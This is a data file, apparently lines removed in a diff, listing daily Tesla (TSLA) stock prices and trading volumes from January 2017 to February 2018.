-2017-01-12,229.05999755859375,230.6999969482422,225.5800018310547,229.58999633789062,229.58999633789062,3790200,TSLA
-2017-01-13,230.0,237.85000610351562,229.58999633789062,237.75,237.75,6093000,TSLA
-2017-01-17,236.6999969482422,239.9600067138672,234.3699951171875,235.5800018310547,235.5800018310547,4617500,TSLA
-2017-01-18,236.64999389648438,239.7100067138672,235.5800018310547,238.36000061035156,238.36000061035156,3769000,TSLA
-2017-01-19,247.25,248.67999267578125,240.75,243.75999450683594,243.75999450683594,7732300,TSLA
-2017-01-20,245.4600067138672,246.0,243.00999450683594,244.72999572753906,244.72999572753906,4204300,TSLA
-2017-01-23,245.85000610351562,250.88999938964844,245.5,248.9199981689453,248.9199981689453,6262900,TSLA
-2017-01-24,250.0,254.8000030517578,249.64999389648438,254.61000061035156,254.61000061035156,4965500,TSLA
-2017-01-25,257.30999755859375,258.4599914550781,251.8000030517578,254.47000122070312,254.47000122070312,5142600,TSLA
-2017-01-26,254.2899932861328,255.74000549316406,250.75,252.50999450683594,252.50999450683594,3152100,TSLA
-2017-01-27,251.3800048828125,253.0,248.52000427246094,252.9499969482422,252.9499969482422,3166300,TSLA
-2017-01-30,252.52999877929688,255.2899932861328,247.10000610351562,250.6300048828125,250.6300048828125,3801100,TSLA
-2017-01-31,249.24000549316406,255.88999938964844,247.6999969482422,251.92999267578125,251.92999267578125,4116100,TSLA
-2017-02-01,253.0500030517578,253.1999969482422,249.0500030517578,249.24000549316406,249.24000549316406,3958800,TSLA
-2017-02-02,248.33999633789062,252.4199981689453,247.7100067138672,251.5500030517578,251.5500030517578,2499800,TSLA
-2017-02-03,251.91000366210938,252.17999267578125,249.67999267578125,251.3300018310547,251.3300018310547,2186700,TSLA
-2017-02-06,251.0,257.82000732421875,250.6300048828125,257.7699890136719,257.7699890136719,3562500,TSLA
-2017-02-07,258.19000244140625,260.0,256.4200134277344,257.4800109863281,257.4800109863281,4244800,TSLA
-2017-02-08,257.3500061035156,263.3599853515625,256.20001220703125,262.0799865722656,262.0799865722656,3933000,TSLA
-2017-02-09,266.25,271.17999267578125,266.1499938964844,269.20001220703125,269.20001220703125,7820200,TSLA
-2017-02-10,269.7900085449219,270.95001220703125,266.1099853515625,269.2300109863281,269.2300109863281,3619700,TSLA
-2017-02-13,270.739990234375,280.7900085449219,270.510009765625,280.6000061035156,280.6000061035156,7029600,TSLA
-2017-02-14,279.0299987792969,287.3900146484375,278.6099853515625,280.9800109863281,280.9800109863281,7345200,TSLA
-2017-02-15,280.0,282.239990234375,276.44000244140625,279.760009765625,279.760009765625,4947900,TSLA
-2017-02-16,277.6000061035156,280.0,268.5,268.95001220703125,268.95001220703125,7077300,TSLA
-2017-02-17,265.79998779296875,272.8900146484375,264.1499938964844,272.2300109863281,272.2300109863281,6257100,TSLA
-2017-02-21,275.45001220703125,281.3999938964844,274.010009765625,277.3900146484375,277.3900146484375,5676700,TSLA
-2017-02-22,280.30999755859375,283.45001220703125,272.6000061035156,273.510009765625,273.510009765625,8755000,TSLA
-2017-02-23,264.0,264.6600036621094,255.55999755859375,255.99000549316406,255.99000549316406,14915200,TSLA
-2017-02-24,252.66000366210938,258.25,250.1999969482422,257.0,257.0,8171600,TSLA
-2017-02-27,248.1699981689453,248.36000061035156,242.00999450683594,246.22999572753906,246.22999572753906,11460800,TSLA
-2017-02-28,244.19000244140625,251.0,243.89999389648438,249.99000549316406,249.99000549316406,6078100,TSLA
-2017-03-01,254.17999267578125,254.85000610351562,249.11000061035156,250.02000427246094,250.02000427246094,4809500,TSLA
-2017-03-02,249.7100067138672,253.27999877929688,248.27000427246094,250.47999572753906,250.47999572753906,3351800,TSLA
-2017-03-03,250.74000549316406,251.89999389648438,249.0,251.57000732421875,251.57000732421875,2919400,TSLA
-2017-03-06,247.91000366210938,251.6999969482422,247.50999450683594,251.2100067138672,251.2100067138672,3355500,TSLA
-2017-03-07,251.9199981689453,253.88999938964844,248.32000732421875,248.58999633789062,248.58999633789062,3459500,TSLA
-2017-03-08,247.0,250.07000732421875,245.32000732421875,246.8699951171875,246.8699951171875,3725200,TSLA
-2017-03-09,247.6300048828125,248.66000366210938,243.0,244.89999389648438,244.89999389648438,3879300,TSLA
-2017-03-10,246.2100067138672,246.5,243.0,243.69000244140625,243.69000244140625,3066300,TSLA
-2017-03-13,244.82000732421875,246.85000610351562,242.77999877929688,246.1699981689453,246.1699981689453,3022600,TSLA
-2017-03-14,246.11000061035156,258.1199951171875,246.02000427246094,258.0,258.0,7598400,TSLA
-2017-03-15,257.0,261.0,254.27000427246094,255.72999572753906,255.72999572753906,5330800,TSLA
-2017-03-16,262.3999938964844,265.75,259.05999755859375,262.04998779296875,262.04998779296875,7132200,TSLA
-2017-03-17,264.0,265.3299865722656,261.20001220703125,261.5,261.5,6497500,TSLA
-2017-03-20,260.6000061035156,264.54998779296875,258.82000732421875,261.9200134277344,261.9200134277344,3614300,TSLA
-2017-03-21,262.8299865722656,264.79998779296875,250.24000549316406,250.67999267578125,250.67999267578125,6908600,TSLA
-2017-03-22,251.55999755859375,255.07000732421875,250.50999450683594,255.00999450683594,255.00999450683594,4059300,TSLA
-2017-03-23,255.38999938964844,257.6700134277344,253.3000030517578,254.77999877929688,254.77999877929688,3320200,TSLA
-2017-03-24,255.6999969482422,263.8900146484375,255.00999450683594,263.1600036621094,263.1600036621094,5647300,TSLA
-2017-03-27,260.6000061035156,270.57000732421875,259.75,270.2200012207031,270.2200012207031,6230800,TSLA
-2017-03-28,277.0199890136719,280.67999267578125,275.0,277.45001220703125,277.45001220703125,7987600,TSLA
-2017-03-29,278.3399963378906,279.6000061035156,275.5400085449219,277.3800048828125,277.3800048828125,3676200,TSLA
-2017-03-30,278.0400085449219,282.0,277.2099914550781,277.9200134277344,277.9200134277344,4148400,TSLA
-2017-03-31,278.7300109863281,279.67999267578125,276.32000732421875,278.29998779296875,278.29998779296875,3294600,TSLA
-2017-04-03,286.8999938964844,299.0,284.5799865722656,298.5199890136719,298.5199890136719,13888600,TSLA
-2017-04-04,296.8900146484375,304.80999755859375,294.5299987792969,303.70001220703125,303.70001220703125,10134600,TSLA
-2017-04-05,302.0400085449219,304.8800048828125,294.20001220703125,295.0,295.0,7880900,TSLA
-2017-04-06,296.8800048828125,301.94000244140625,294.1000061035156,298.70001220703125,298.70001220703125,5520600,TSLA
-2017-04-07,297.5,302.69000244140625,297.1499938964844,302.5400085449219,302.5400085449219,4579600,TSLA
-2017-04-10,309.1499938964844,313.7300109863281,308.7099914550781,312.3900146484375,312.3900146484375,7664500,TSLA
-2017-04-11,313.3800048828125,313.4700012207031,305.5,308.7099914550781,308.7099914550781,5724600,TSLA
-2017-04-12,306.3399963378906,308.45001220703125,296.32000732421875,296.8399963378906,296.8399963378906,6050700,TSLA
-2017-04-13,296.70001220703125,307.3900146484375,295.29998779296875,304.0,304.0,9284600,TSLA
-2017-04-17,302.70001220703125,304.0,298.67999267578125,301.44000244140625,301.44000244140625,4138700,TSLA
-2017-04-18,299.70001220703125,300.8399963378906,297.8999938964844,300.25,300.25,3035700,TSLA
-2017-04-19,302.4599914550781,306.6199951171875,302.1099853515625,305.5199890136719,305.5199890136719,3898000,TSLA
-2017-04-20,306.510009765625,309.1499938964844,300.2300109863281,302.510009765625,302.510009765625,6149400,TSLA
-2017-04-21,302.0,306.3999938964844,300.4200134277344,305.6000061035156,305.6000061035156,4509800,TSLA
-2017-04-24,309.2200012207031,310.54998779296875,306.0199890136719,308.0299987792969,308.0299987792969,5083500,TSLA
-2017-04-25,308.0,313.9800109863281,305.8599853515625,313.7900085449219,313.7900085449219,6737700,TSLA
-2017-04-26,312.3699951171875,314.5,309.0,310.1700134277344,310.1700134277344,4695000,TSLA
-2017-04-27,311.69000244140625,313.0899963378906,307.5,308.6300048828125,308.6300048828125,3468600,TSLA
-2017-04-28,309.8299865722656,314.79998779296875,308.0,314.07000732421875,314.07000732421875,4505500,TSLA
-2017-05-01,314.8800048828125,327.25,314.80999755859375,322.8299865722656,322.8299865722656,8829600,TSLA
-2017-05-02,324.0,327.6600036621094,316.55999755859375,318.8900146484375,318.8900146484375,5382800,TSLA
-2017-05-03,317.6700134277344,321.5299987792969,310.45001220703125,311.0199890136719,311.0199890136719,7133400,TSLA
-2017-05-04,307.44000244140625,307.7699890136719,290.760009765625,295.4599914550781,295.4599914550781,14152000,TSLA
-2017-05-05,298.0,308.54998779296875,296.79998779296875,308.3500061035156,308.3500061035156,8177300,TSLA
-2017-05-08,310.8999938964844,313.7900085449219,305.82000732421875,307.19000244140625,307.19000244140625,7006500,TSLA
-2017-05-09,309.3800048828125,321.989990234375,309.1000061035156,321.260009765625,321.260009765625,9676500,TSLA
-2017-05-10,321.55999755859375,325.5,318.1199951171875,325.2200012207031,325.2200012207031,5741600,TSLA
-2017-05-11,323.3999938964844,326.0,319.6000061035156,323.1000061035156,323.1000061035156,4753800,TSLA
-2017-05-12,325.4800109863281,327.0,321.5299987792969,324.80999755859375,324.80999755859375,4121600,TSLA
-2017-05-15,318.3800048828125,320.20001220703125,312.5299987792969,315.8800048828125,315.8800048828125,7622000,TSLA
-2017-05-16,317.5899963378906,320.05999755859375,315.1400146484375,317.010009765625,317.010009765625,4152500,TSLA
-2017-05-17,314.3900146484375,314.6300048828125,305.5,306.1099853515625,306.1099853515625,6711900,TSLA
-2017-05-18,307.0,313.94000244140625,305.30999755859375,313.05999755859375,313.05999755859375,5653800,TSLA
-2017-05-19,315.5,316.5,310.20001220703125,310.8299865722656,310.8299865722656,4687600,TSLA
-2017-05-22,312.79998779296875,314.3699951171875,306.79998779296875,310.3500061035156,310.3500061035156,4329200,TSLA
-2017-05-23,310.4599914550781,310.7300109863281,303.4800109863281,303.8599853515625,303.8599853515625,4318400,TSLA
-2017-05-24,306.510009765625,311.0,305.3999938964844,310.2200012207031,310.2200012207031,5033300,TSLA
-2017-05-25,311.0199890136719,316.9700012207031,307.80999755859375,316.8299865722656,316.8299865722656,5014000,TSLA
-2017-05-26,317.2799987792969,325.489990234375,316.30999755859375,325.1400146484375,325.1400146484375,7802200,TSLA
-2017-05-30,326.0,336.2799987792969,325.760009765625,335.1000061035156,335.1000061035156,7782900,TSLA
-2017-05-31,337.69000244140625,342.8900146484375,335.1600036621094,341.010009765625,341.010009765625,9963400,TSLA
-2017-06-01,344.0,344.8800048828125,337.2900085449219,340.3699951171875,340.3699951171875,7608000,TSLA
-2017-06-02,339.7699890136719,342.8800048828125,335.92999267578125,339.8500061035156,339.8500061035156,5590200,TSLA
-2017-06-05,338.5,348.44000244140625,334.2099914550781,347.32000732421875,347.32000732421875,6784400,TSLA
-2017-06-06,344.70001220703125,359.489990234375,339.9700012207031,352.8500061035156,352.8500061035156,11086800,TSLA
-2017-06-07,356.3399963378906,360.5,355.1400146484375,359.6499938964844,359.6499938964844,9398000,TSLA
-2017-06-08,363.75,371.8999938964844,360.2200012207031,370.0,370.0,9061500,TSLA
-2017-06-09,374.4200134277344,376.8699951171875,354.79998779296875,357.32000732421875,357.32000732421875,17261400,TSLA
-2017-06-12,357.989990234375,364.5,350.6199951171875,359.010009765625,359.010009765625,10517700,TSLA
-2017-06-13,367.6199951171875,376.0,366.6099853515625,375.95001220703125,375.95001220703125,11807900,TSLA
-2017-06-14,381.0899963378906,384.25,376.30999755859375,380.6600036621094,380.6600036621094,12818400,TSLA
-2017-06-15,372.5,375.4599914550781,366.489990234375,375.3399963378906,375.3399963378906,10426500,TSLA
-2017-06-16,377.9800109863281,378.010009765625,370.1000061035156,371.3999938964844,371.3999938964844,6731000,TSLA
-2017-06-19,375.0,376.70001220703125,367.79998779296875,369.79998779296875,369.79998779296875,6549300,TSLA
-2017-06-20,376.6700134277344,378.8800048828125,369.7300109863281,372.239990234375,372.239990234375,7438700,TSLA
-2017-06-21,374.3500061035156,376.989990234375,368.0199890136719,376.3999938964844,376.3999938964844,4923200,TSLA
-2017-06-22,377.989990234375,385.0,373.57000732421875,382.6099853515625,382.6099853515625,7529800,TSLA
-2017-06-23,382.45001220703125,386.989990234375,379.3500061035156,383.45001220703125,383.45001220703125,6445800,TSLA
-2017-06-26,386.69000244140625,386.95001220703125,373.1000061035156,377.489990234375,377.489990234375,6604100,TSLA
-2017-06-27,376.3999938964844,376.3999938964844,362.0199890136719,362.3699951171875,362.3699951171875,6996400,TSLA
-2017-06-28,366.67999267578125,371.739990234375,362.5199890136719,371.239990234375,371.239990234375,6302500,TSLA
-2017-06-29,370.6099853515625,371.0,354.1000061035156,360.75,360.75,8221000,TSLA
-2017-06-30,363.7099914550781,366.7699890136719,359.6199951171875,361.6099853515625,361.6099853515625,5848500,TSLA
-2017-07-03,370.239990234375,371.3500061035156,351.5,352.6199951171875,352.6199951171875,6305400,TSLA
-2017-07-05,347.20001220703125,347.239990234375,326.3299865722656,327.0899963378906,327.0899963378906,17046700,TSLA
-2017-07-06,317.260009765625,320.7900085449219,306.29998779296875,308.8299865722656,308.8299865722656,19324500,TSLA
-2017-07-07,313.5,317.0,307.3800048828125,313.2200012207031,313.2200012207031,14176900,TSLA
-2017-07-10,312.8999938964844,317.94000244140625,303.1300048828125,316.04998779296875,316.04998779296875,13820900,TSLA
-2017-07-11,316.0,327.2799987792969,314.29998779296875,327.2200012207031,327.2200012207031,11559400,TSLA
-2017-07-12,330.3999938964844,333.1000061035156,324.5,329.5199890136719,329.5199890136719,10346100,TSLA
-2017-07-13,330.1099853515625,331.6000061035156,319.9700012207031,323.4100036621094,323.4100036621094,8594500,TSLA
-2017-07-14,323.19000244140625,328.4200134277344,321.2200012207031,327.7799987792969,327.7799987792969,5625200,TSLA
-2017-07-17,325.5400085449219,327.1000061035156,313.45001220703125,319.57000732421875,319.57000732421875,9876900,TSLA
-2017-07-18,317.5,329.1300048828125,315.6600036621094,328.239990234375,328.239990234375,6373700,TSLA
-2017-07-19,328.2300109863281,331.6499938964844,323.2200012207031,325.260009765625,325.260009765625,6357000,TSLA
-2017-07-20,326.8999938964844,330.2200012207031,324.20001220703125,329.9200134277344,329.9200134277344,5166200,TSLA
-2017-07-21,329.4599914550781,331.260009765625,325.79998779296875,328.3999938964844,328.3999938964844,4901600,TSLA
-2017-07-24,330.239990234375,343.3999938964844,330.010009765625,342.5199890136719,342.5199890136719,8637100,TSLA
-2017-07-25,345.0,345.6000061035156,334.1499938964844,339.6000061035156,339.6000061035156,6989200,TSLA
-2017-07-26,340.3599853515625,345.5,338.1199951171875,343.8500061035156,343.8500061035156,4820800,TSLA
-2017-07-27,346.0,347.5,326.2900085449219,334.4599914550781,334.4599914550781,8302400,TSLA
-2017-07-28,336.8900146484375,339.6000061035156,332.510009765625,335.07000732421875,335.07000732421875,4880400,TSLA
-2017-07-31,335.5,341.489990234375,321.0400085449219,323.4700012207031,323.4700012207031,8535100,TSLA
-2017-08-01,323.0,324.45001220703125,316.1300048828125,319.57000732421875,319.57000732421875,8303100,TSLA
-2017-08-02,318.94000244140625,327.1199951171875,311.2200012207031,325.8900146484375,325.8900146484375,13091500,TSLA
-2017-08-03,345.3299865722656,350.0,343.1499938964844,347.0899963378906,347.0899963378906,13535000,TSLA
-2017-08-04,347.0,357.2699890136719,343.29998779296875,356.9100036621094,356.9100036621094,9268900,TSLA
-2017-08-07,357.3500061035156,359.4800109863281,352.75,355.1700134277344,355.1700134277344,6324500,TSLA
-2017-08-08,357.5299987792969,368.5799865722656,357.3999938964844,365.2200012207031,365.2200012207031,7449800,TSLA
-2017-08-09,361.0,370.0,358.95001220703125,363.5299987792969,363.5299987792969,6892100,TSLA
-2017-08-10,361.6000061035156,366.6499938964844,354.6600036621094,355.3999938964844,355.3999938964844,7092900,TSLA
-2017-08-11,356.9700012207031,361.260009765625,353.6199951171875,357.8699951171875,357.8699951171875,4365800,TSLA
-2017-08-14,364.6300048828125,367.6600036621094,362.6000061035156,363.79998779296875,363.79998779296875,4519200,TSLA
-2017-08-15,365.20001220703125,365.489990234375,359.3699951171875,362.3299865722656,362.3299865722656,3085100,TSLA
-2017-08-16,363.0,366.5,362.5199890136719,362.9100036621094,362.9100036621094,3413800,TSLA
-2017-08-17,361.2099914550781,363.29998779296875,351.5899963378906,351.9200134277344,351.9200134277344,5027700,TSLA
-2017-08-18,352.9100036621094,354.0,345.79998779296875,347.4599914550781,347.4599914550781,5408200,TSLA
-2017-08-21,345.82000732421875,345.82000732421875,331.8500061035156,337.8599853515625,337.8599853515625,6495400,TSLA
-2017-08-22,341.1300048828125,342.239990234375,337.3699951171875,341.3500061035156,341.3500061035156,4322000,TSLA
-2017-08-23,338.989990234375,353.489990234375,338.29998779296875,352.7699890136719,352.7699890136719,4954500,TSLA
-2017-08-24,352.5199890136719,356.6600036621094,349.739990234375,352.92999267578125,352.92999267578125,4584700,TSLA
-2017-08-25,354.239990234375,355.69000244140625,347.29998779296875,348.04998779296875,348.04998779296875,3484000,TSLA
-2017-08-28,347.2799987792969,347.3500061035156,339.7200012207031,345.6600036621094,345.6600036621094,3764000,TSLA
-2017-08-29,339.4800109863281,349.04998779296875,338.75,347.3599853515625,347.3599853515625,4073700,TSLA
-2017-08-30,349.6700134277344,353.4700012207031,347.0,353.17999267578125,353.17999267578125,3412900,TSLA
-2017-08-31,353.54998779296875,358.44000244140625,352.82000732421875,355.8999938964844,355.8999938964844,4072800,TSLA
-2017-09-01,356.1199951171875,357.5899963378906,353.69000244140625,355.3999938964844,355.3999938964844,3049500,TSLA
-2017-09-05,353.79998779296875,355.489990234375,345.8900146484375,349.5899963378906,349.5899963378906,3835100,TSLA
-2017-09-06,349.5,350.9800109863281,341.55999755859375,344.5299987792969,344.5299987792969,4091400,TSLA
-2017-09-07,345.9800109863281,352.4800109863281,343.45001220703125,350.6099853515625,350.6099853515625,4239200,TSLA
-2017-09-08,348.989990234375,349.7799987792969,342.29998779296875,343.3999938964844,343.3999938964844,3263500,TSLA
-2017-09-11,351.3500061035156,363.7099914550781,350.0,363.69000244140625,363.69000244140625,7667100,TSLA
-2017-09-12,364.489990234375,368.760009765625,360.3999938964844,362.75,362.75,5972900,TSLA
-2017-09-13,363.82000732421875,368.07000732421875,359.5899963378906,366.2300109863281,366.2300109863281,4185200,TSLA
-2017-09-14,364.3299865722656,377.9599914550781,362.6300048828125,377.6400146484375,377.6400146484375,7202500,TSLA
-2017-09-15,374.510009765625,380.0,372.70001220703125,379.80999755859375,379.80999755859375,5420500,TSLA
-2017-09-18,380.25,389.6099853515625,377.67999267578125,385.0,385.0,7188000,TSLA
-2017-09-19,380.0,382.3900146484375,373.57000732421875,375.1000061035156,375.1000061035156,6451900,TSLA
-2017-09-20,373.0,378.25,371.07000732421875,373.9100036621094,373.9100036621094,4919100,TSLA
-2017-09-21,374.8999938964844,376.8299865722656,364.510009765625,366.4800109863281,366.4800109863281,4618200,TSLA
-2017-09-22,366.489990234375,369.8999938964844,350.8800048828125,351.0899963378906,351.0899963378906,8159400,TSLA
-2017-09-25,353.1499938964844,357.4700012207031,342.8800048828125,344.989990234375,344.989990234375,7605900,TSLA
-2017-09-26,350.92999267578125,351.239990234375,340.8999938964844,345.25,345.25,7156300,TSLA
-2017-09-27,349.8999938964844,351.489990234375,340.5,340.9700012207031,340.9700012207031,6060300,TSLA
-2017-09-28,339.8800048828125,342.75,335.3999938964844,339.6000061035156,339.6000061035156,5319600,TSLA
-2017-09-29,341.8599853515625,344.67999267578125,338.6000061035156,341.1000061035156,341.1000061035156,5107100,TSLA
-2017-10-02,342.5199890136719,343.70001220703125,335.510009765625,341.5299987792969,341.5299987792969,5286800,TSLA
-2017-10-03,335.8999938964844,348.54998779296875,331.2799987792969,348.1400146484375,348.1400146484375,10153600,TSLA
-2017-10-04,351.25,358.6199951171875,349.6000061035156,355.010009765625,355.010009765625,8163500,TSLA
-2017-10-05,356.0,357.44000244140625,351.3500061035156,355.3299865722656,355.3299865722656,4171700,TSLA
-2017-10-06,353.1000061035156,360.1000061035156,352.25,356.8800048828125,356.8800048828125,4297500,TSLA
-2017-10-09,349.6499938964844,351.75,342.6700134277344,342.94000244140625,342.94000244140625,7493700,TSLA
-2017-10-10,346.79998779296875,355.6300048828125,345.5299987792969,355.5899963378906,355.5899963378906,6978500,TSLA
-2017-10-11,353.8900146484375,357.6000061035156,351.1499938964844,354.6000061035156,354.6000061035156,4500800,TSLA
-2017-10-12,352.95001220703125,359.7799987792969,352.6400146484375,355.67999267578125,355.67999267578125,4087000,TSLA
-2017-10-13,356.9800109863281,358.489990234375,353.67999267578125,355.57000732421875,355.57000732421875,3540500,TSLA
-2017-10-16,353.760009765625,354.4800109863281,347.1600036621094,350.6000061035156,350.6000061035156,5375500,TSLA
-2017-10-17,350.9100036621094,356.2200012207031,350.07000732421875,355.75,355.75,3293300,TSLA
-2017-10-18,355.9700012207031,363.0,354.1300048828125,359.6499938964844,359.6499938964844,4939100,TSLA
-2017-10-19,355.55999755859375,357.1499938964844,348.20001220703125,351.80999755859375,351.80999755859375,5061800,TSLA
-2017-10-20,352.69000244140625,354.54998779296875,344.3399963378906,345.1000061035156,345.1000061035156,4930400,TSLA
-2017-10-23,349.8800048828125,349.95001220703125,336.25,337.0199890136719,337.0199890136719,5747300,TSLA
-2017-10-24,338.79998779296875,342.79998779296875,336.1600036621094,337.3399963378906,337.3399963378906,4491700,TSLA
-2017-10-25,336.70001220703125,337.5,323.55999755859375,325.8399963378906,325.8399963378906,8594100,TSLA
-2017-10-26,327.7799987792969,330.2300109863281,323.20001220703125,326.1700134277344,326.1700134277344,5023500,TSLA
-2017-10-27,319.75,324.5899963378906,316.6600036621094,320.8699951171875,320.8699951171875,6979700,TSLA
-2017-10-30,319.17999267578125,323.7799987792969,317.25,320.0799865722656,320.0799865722656,4254400,TSLA
-2017-10-31,320.2300109863281,331.95001220703125,320.17999267578125,331.5299987792969,331.5299987792969,5672300,TSLA
-2017-11-01,332.25,332.6099853515625,320.260009765625,321.0799865722656,321.0799865722656,8457300,TSLA
-2017-11-02,300.1300048828125,308.69000244140625,292.6300048828125,299.260009765625,299.260009765625,19791400,TSLA
-2017-11-03,299.5,306.25,295.1300048828125,306.0899963378906,306.0899963378906,8894000,TSLA
-2017-11-06,307.0,307.5,299.010009765625,302.7799987792969,302.7799987792969,6486000,TSLA
-2017-11-07,301.0199890136719,306.5,300.0299987792969,306.04998779296875,306.04998779296875,5294300,TSLA
-2017-11-08,305.5,306.8900146484375,301.29998779296875,304.3900146484375,304.3900146484375,4725300,TSLA
-2017-11-09,302.5,304.4599914550781,296.29998779296875,302.989990234375,302.989990234375,5447100,TSLA
-2017-11-10,302.5,308.3599853515625,301.8500061035156,302.989990234375,302.989990234375,4625400,TSLA
-2017-11-13,300.1300048828125,316.79998779296875,299.1099853515625,315.3999938964844,315.3999938964844,7584900,TSLA
-2017-11-14,315.0,316.3500061035156,306.8999938964844,308.70001220703125,308.70001220703125,5676100,TSLA
-2017-11-15,306.010009765625,312.489990234375,301.5,311.29998779296875,311.29998779296875,5978700,TSLA
-2017-11-16,313.989990234375,318.1400146484375,311.29998779296875,312.5,312.5,5822100,TSLA
-2017-11-17,325.6700134277344,326.6700134277344,313.1499938964844,315.04998779296875,315.04998779296875,13735100,TSLA
-2017-11-20,313.7900085449219,315.5,304.75,308.739990234375,308.739990234375,8247700,TSLA
-2017-11-21,310.8599853515625,318.2300109863281,308.7099914550781,317.80999755859375,317.80999755859375,7261300,TSLA
-2017-11-22,316.7699890136719,317.4200134277344,311.8399963378906,312.6000061035156,312.6000061035156,4917600,TSLA
-2017-11-24,313.7900085449219,316.4100036621094,311.0,315.54998779296875,315.54998779296875,3244100,TSLA
-2017-11-27,313.25,317.3399963378906,309.510009765625,316.80999755859375,316.80999755859375,4555900,TSLA
-2017-11-28,316.3599853515625,320.0,313.9200134277344,317.54998779296875,317.54998779296875,4949500,TSLA
-2017-11-29,317.29998779296875,318.0,301.2300109863281,307.5400085449219,307.5400085449219,8767400,TSLA
-2017-11-30,308.55999755859375,310.70001220703125,304.5400085449219,308.8500061035156,308.8500061035156,4351600,TSLA
-2017-12-01,305.44000244140625,310.32000732421875,305.04998779296875,306.5299987792969,306.5299987792969,4292900,TSLA
-2017-12-04,306.5,308.2699890136719,300.6099853515625,305.20001220703125,305.20001220703125,5835100,TSLA
-2017-12-05,302.0,308.0,301.0,303.70001220703125,303.70001220703125,4646500,TSLA
-2017-12-06,300.1000061035156,313.3900146484375,300.0,313.260009765625,313.260009765625,7195300,TSLA
-2017-12-07,312.0,318.6300048828125,311.04998779296875,311.239990234375,311.239990234375,4780600,TSLA
-2017-12-08,314.6000061035156,316.9800109863281,311.260009765625,315.1300048828125,315.1300048828125,3468500,TSLA
-2017-12-11,314.6300048828125,329.010009765625,313.75,328.9100036621094,328.9100036621094,7938000,TSLA
-2017-12-12,330.45001220703125,341.44000244140625,330.0299987792969,341.0299987792969,341.0299987792969,8733200,TSLA
-2017-12-13,340.92999267578125,344.2200012207031,336.5,339.0299987792969,339.0299987792969,6221500,TSLA
-2017-12-14,341.010009765625,347.44000244140625,336.8999938964844,337.8900146484375,337.8900146484375,5799900,TSLA
-2017-12-15,342.0400085449219,343.8999938964844,335.760009765625,343.45001220703125,343.45001220703125,6933200,TSLA
-2017-12-18,344.8999938964844,346.7300109863281,337.5799865722656,338.8699951171875,338.8699951171875,5476200,TSLA
-2017-12-19,340.260009765625,341.489990234375,330.29998779296875,331.1000061035156,331.1000061035156,6825000,TSLA
-2017-12-20,332.69000244140625,333.1000061035156,325.0400085449219,328.9800109863281,328.9800109863281,5953800,TSLA
-2017-12-21,329.5899963378906,333.739990234375,327.2099914550781,331.6600036621094,331.6600036621094,4385200,TSLA
-2017-12-22,329.510009765625,330.9200134277344,324.82000732421875,325.20001220703125,325.20001220703125,4215800,TSLA
-2017-12-26,323.8299865722656,323.94000244140625,316.5799865722656,317.2900085449219,317.2900085449219,4378400,TSLA
-2017-12-27,316.0,317.67999267578125,310.75,311.6400146484375,311.6400146484375,4712100,TSLA
-2017-12-28,311.75,315.82000732421875,309.5400085449219,315.3599853515625,315.3599853515625,4316300,TSLA
-2017-12-29,316.17999267578125,316.4100036621094,310.0,311.3500061035156,311.3500061035156,3777200,TSLA
-2018-01-02,312.0,322.1099853515625,311.0,320.5299987792969,320.5299987792969,4352200,TSLA
-2018-01-03,321.0,325.25,315.54998779296875,317.25,317.25,4521500,TSLA
-2018-01-04,312.8699951171875,318.54998779296875,305.67999267578125,314.6199951171875,314.6199951171875,9946300,TSLA
-2018-01-05,316.6199951171875,317.239990234375,312.0,316.5799865722656,316.5799865722656,4591200,TSLA
-2018-01-08,316.0,337.0199890136719,315.5,336.4100036621094,336.4100036621094,9859400,TSLA
-2018-01-09,335.1600036621094,338.79998779296875,327.3999938964844,333.69000244140625,333.69000244140625,7146600,TSLA
-2018-01-10,332.20001220703125,337.0,330.0,334.79998779296875,334.79998779296875,4309900,TSLA
-2018-01-11,335.239990234375,344.80999755859375,333.260009765625,337.95001220703125,337.95001220703125,6645500,TSLA
-2018-01-12,338.6300048828125,340.4100036621094,333.6700134277344,336.2200012207031,336.2200012207031,4825100,TSLA
-2018-01-16,337.5400085449219,345.0,334.79998779296875,340.05999755859375,340.05999755859375,6474300,TSLA
-2018-01-17,340.4700012207031,349.0,339.75,347.1600036621094,347.1600036621094,7103500,TSLA
-2018-01-18,345.6700134277344,352.29998779296875,343.739990234375,344.57000732421875,344.57000732421875,5685800,TSLA
-2018-01-19,345.0,350.5899963378906,342.6000061035156,350.0199890136719,350.0199890136719,4888300,TSLA
-2018-01-22,349.3999938964844,357.8299865722656,349.20001220703125,351.55999755859375,351.55999755859375,6210400,TSLA
-2018-01-23,360.0,360.5,351.0,352.7900085449219,352.7900085449219,5465400,TSLA
-2018-01-24,354.5799865722656,354.75,343.5199890136719,345.8900146484375,345.8900146484375,5287500,TSLA
-2018-01-25,348.2699890136719,349.20001220703125,336.3999938964844,337.6400146484375,337.6400146484375,6740300,TSLA
-2018-01-26,341.5,344.0,335.7099914550781,342.8500061035156,342.8500061035156,4539400,TSLA
-2018-01-29,339.8500061035156,350.8500061035156,338.2799987792969,349.5299987792969,349.5299987792969,4747100,TSLA
-2018-01-30,345.1400146484375,348.2699890136719,342.1700134277344,345.82000732421875,345.82000732421875,4717700,TSLA
-2018-01-31,347.510009765625,356.19000244140625,345.19000244140625,354.30999755859375,354.30999755859375,6214100,TSLA
-2018-02-01,351.0,359.6600036621094,348.6300048828125,349.25,349.25,4197700,TSLA
-2018-02-02,348.44000244140625,351.95001220703125,340.510009765625,343.75,343.75,3704800,TSLA
-2018-02-05,337.9700012207031,344.4700012207031,333.0,333.1300048828125,333.1300048828125,4464100,TSLA
-2018-02-06,325.2099914550781,336.2200012207031,323.5,333.9700012207031,333.9700012207031,5088400,TSLA
-2018-02-07,338.989990234375,346.0,335.6600036621094,345.0,345.0,6969200,TSLA
-2018-02-08,343.30999755859375,348.6199951171875,314.6000061035156,315.2300109863281,315.2300109863281,10314600,TSLA
-2018-02-09,319.92999267578125,320.9800109863281,294.760009765625,310.4200134277344,310.4200134277344,12933700,TSLA
-2018-02-12,316.1300048828125,318.0799865722656,306.25,315.7300109863281,315.7300109863281,6227800,TSLA
-2018-02-13,315.0199890136719,324.19000244140625,312.510009765625,323.6600036621094,323.6600036621094,4560200,TSLA
-2018-02-14,320.8399963378906,326.1700134277344,318.5199890136719,322.30999755859375,322.30999755859375,3950700,TSLA
-2018-02-15,324.5,334.1199951171875,322.3999938964844,334.07000732421875,334.07000732421875,5912900,TSLA
-2018-02-16,332.5,343.1199951171875,331.6400146484375,335.489990234375,335.489990234375,5642600,TSLA
-2018-02-20,334.4700012207031,340.8399963378906,331.5,334.7699890136719,334.7699890136719,4009400,TSLA
